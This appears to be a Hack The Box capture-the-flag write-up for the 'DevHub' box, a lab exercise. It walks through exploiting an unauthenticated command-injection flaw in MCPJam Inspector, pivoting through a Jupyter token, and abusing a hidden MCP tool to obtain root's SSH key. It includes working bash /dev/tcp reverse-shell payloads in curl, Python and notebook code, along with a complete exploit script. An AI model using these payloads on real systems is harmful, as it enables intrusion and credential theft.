Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

DevHub

DevHub is a medium-difficulty Linux box built around modern development and AI infrastructure.

platform
Hack The Box
target_os
Linux
difficulty
Medium
season
Season 11
logged
June 3, 2026
exploit_vectors → CVE-2026-23744

Summary of Exploitation

DevHub is a medium-difficulty Linux box built around modern development and AI infrastructure. Initial access is achieved by exploiting CVE-2026-23744 — an unauthenticated Remote Code Execution vulnerability in an exposed MCPJam Inspector v1.4.2 instance on port 6274. The /api/mcp/connect endpoint passes a user-controlled serverConfig.command value directly to Node.js’s child_process.spawn() without sanitisation, allowing a reverse shell as mcp-dev. Post-exploitation enumeration reveals two localhost-only services: a Jupyter Notebook on port 8888 (running as analyst) and a Flask API on port 5000. The Jupyter token is recovered from the process list, and a notebook cell is used to escalate to analyst. Source-code review of /opt/opsmcp/server.py exposes a hidden, unauthenticated MCP tool (ops._admin_dump) that returns the root user’s SSH private key, completing the chain.


Recon Phase

An initial Nmap scan was run against the target:

nmap -sC -sV -oN nmap/initial.txt <target-ip>

Results:

Port State Service Version
22 open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80 open http nginx 1.18.0 (Ubuntu)
6274 open http MCPJam Inspector

Port 80 issued a redirect to devhub.htb. The hostname was added to /etc/hosts:

echo "<target-ip>  devhub.htb" | sudo tee -a /etc/hosts

Web Enumeration

The landing page at http://devhub.htb described an Internal Development & Analytics Platform and explicitly referenced port 6274 as a secondary service endpoint — a clear pivot hint.

Navigating to http://devhub.htb:6274/ revealed an MCPJam Inspector instance. The Settings page disclosed the running version: MCPJam Inspector v1.4.2.

Researching known CVEs for this version surfaced CVE-2026-23744 (GHSA-232v-j27c-5pp6):

The /api/mcp/connect endpoint accepts a serverConfig object. The command field is passed directly to Node.js’s child_process.spawn() with no input sanitisation and no authentication check, enabling unauthenticated RCE.

MCPJam Inspector is designed as a local developer tool for testing MCP servers. When exposed on a network without authentication, the serverConfig.command field becomes an open command injection vector.

Exploitation Phase

Foothold

A netcat listener was started on the attack machine:

nc -lvnp 4444

The RCE payload was crafted and sent to the vulnerable endpoint:

curl http://devhub.htb:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"],"env":{}},"serverId":"mytest"}'

This returned a shell as mcp-dev (uid=1001).

Exploitation Script

The following Python script automates delivery of the reverse shell payload:

#!/usr/bin/env python3
"""
CVE-2026-23744 — MCPJam Inspector v1.4.2 Unauthenticated RCE
Usage: python3 exploit.py <target-ip> <attacker-ip> <attacker-port>
"""

import sys
import json
import requests

def exploit(target_ip, lhost, lport):
    url = f"http://{target_ip}:6274/api/mcp/connect"
    headers = {"Content-Type": "application/json"}

    payload = {
        "serverConfig": {
            "command": "bash",
            "args": ["-c", f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"],
            "env": {}
        },
        "serverId": "pwned"
    }

    print(f"[*] Sending RCE payload to {url}")
    print(f"[*] Reverse shell -> {lhost}:{lport}")

    try:
        r = requests.post(url, headers=headers, json=payload, timeout=10)
        print(f"[*] Response: {r.status_code}")
    except requests.exceptions.ConnectionError:
        # Shell connected — connection dropped from server side is expected
        print("[+] Payload delivered. Check your listener.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target-ip> <attacker-ip> <port>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Priv-Esc to analyst

After landing the shell as mcp-dev, internal services were enumerated:

ss -tlnp
# or
netstat -tlnp

Two localhost-only services were identified:

Port Service
5000 Flask API
8888 Jupyter Notebook

The Jupyter Notebook was the more promising target. Its authentication token was recovered from the process arguments — visible without any elevated privileges:

ps aux | grep jupyter
# Token visible in the --NotebookApp.token= argument

Port forwarding was set up using Chisel to make port 8888 accessible on the attack machine:

Attack machine (server):

./chisel server -p 9001 --reverse

Target (client):

./chisel client <attacker-ip>:9001 R:8888:127.0.0.1:8888

The Jupyter interface was then accessed at http://127.0.0.1:8888 and authenticated using the recovered token. The notebook session confirmed it was running as the analyst user. A code cell was used to spawn a reverse shell:

import subprocess
subprocess.Popen(["bash", "-c", "bash -i >& /dev/tcp/<attacker-ip>/5555 0>&1"])

Shell landed as analyst.

Priv-Esc to Root

With access as analyst, the Flask API source on port 5000 was examined:

cat /opt/opsmcp/server.py

The source revealed an Operations MCP Server that exposes tools via /tools/list. Crucially, it also contained hidden tools — callable but deliberately excluded from the listing.

One such hidden tool, ops._admin_dump, returned sensitive credentials including the root user’s SSH private key. The API key required to call it was hardcoded in the source file.

The hidden endpoint was invoked directly:

curl -s http://127.0.0.1:5000/tools/call \
  --header "Content-Type: application/json" \
  --header "X-API-Key: <hardcoded-key-from-source>" \
  --data '{"tool": "ops._admin_dump"}'

The response included root’s private SSH key. The key was saved locally and used to authenticate:

chmod 600 root_id_rsa
ssh -i root_id_rsa root@devhub.htb

Root Flag Successfully Obtained

root@devhub:~# cat /root/root.txt
<root_flag>

Key Takeaways

  • Always check CVEs against identified software versions. The MCPJam RCE was trivial once the exact version (1.4.2) was confirmed.
  • Localhost-only services are still attack surface. Tunneling tools like Chisel make internal services reachable from the attack machine.
  • Jupyter tokens are not secrets when any shell access exists on the host — they appear in plain text in process arguments (ps aux).
  • Hidden API endpoints are only hidden from listings. Reviewing source code surfaces them every time.
  • Hardcoded credentials in source code remain one of the most common and impactful findings in real-world assessments.